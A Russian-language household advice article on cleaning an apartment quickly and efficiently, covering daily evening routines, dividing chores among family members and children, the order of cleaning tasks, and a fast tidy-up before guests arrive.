Как быстро и чисто убрать дома? Ответ на этот вопрос для каждой хозяйки индивидуален. Но, чтобы в квартире было всегда чисто, надо правильно выбирать время для уборки. Опытные хозяйки знают, что делать уборку лучше каждый день, например, после работы, распределяя при этом обязанности между домочадцами. Если один помоет посуду после ужина, а второй пропылесосит, то и времени будет потрачено минимум, и эффект будет на лицо.

Что же касается подходящего времени, то лучше оставлять уборку на вечер, когда все домашние соберутся после рабочего дня, и можно будет эффективно использовать их свободное время. Чтобы вымыть полы в квартире надо всего лишь полчаса, и абсолютно незачем делать это в выходные.

План действий

Как правильно нужно убираться в доме? Сначала следует набросать план уборки. Прибирать квартиру надо поэтапно. Обычно уборку начинают с раскладывания разбросанных вещей и сортировки грязного белья. Вещи должны быть разложены по своим местам, а стиралка запущена с бельем. Так вы убьете сразу двух зайцев. Далее переходят к вытиранию пыли и подметанию полов. Когда ковры будет пропылесосены, можно мыть полы и обувь.

Читайте также: Как помыть хрустальную люстру с подвесками

Уборка – веселый ритуал

Ваши дети могут выполнять работу по дому, которая им нравится. Если ребенку нравится вытирать пыль или протирать зеркала, поручите ему это занятие. Так труд по дому не станет повинностью, а превратится в веселое занятие. Сами вы в это время может готовить ужин или мыть полы. Сделать уборку всей семьей, всем вместе намного веселее. А в награду вы можете приготовить пиццу. Хотя, конечно, убраться в квартире можно и за деньги, но сделать самостоятельную уборку намного проще и экономней.

Поддерживаем чистоту в доме

Но надо поддерживать чистоту в доме каждый день. Обязательно каждый день выносите мусор, не ешьте в комнатах, вытирайте на ночь столы на кухне. Не покупайте детям слишком много игрушек, чтобы не приходилось потом их долго собирать по всей квартире. То же самое касается и различных сувениров – не стоит захламлять свою квартиру и делать из полок «пылесборники». Так ухаживать за жильем будет намного проще.

Если у вас до сих пор нет корзины или ящика для грязного белья, то самое время такую нужную вещь купить. Во многих домах можно увидеть завалы одежды на стульях и диванах. Вроде бы и положить свитер в машину не с чем, но и одевать его уже не хочется. Либо сразу складывайте вещи в шкаф, либо складывайте их в корзину для стирки.

Гости на пороге

Итак, вы пришли с работы, а вам сообщают, что уже через час на пороге будут гости. Не стоит паниковать и хвататься за все сразу. Но без помощи семьи вам в такой ситуации не обойтись. Быстро каждому дайте задание – перед приходом гостей вполне достаточно разложить валяющиеся вещи по местам и протереть пыль. Если есть время, то можно быстро пропылесосить ковры и дорожки. На все это у вас уйдет около получаса, и даже останется время приготовить что-нибудь вкусненькое к чаю.

"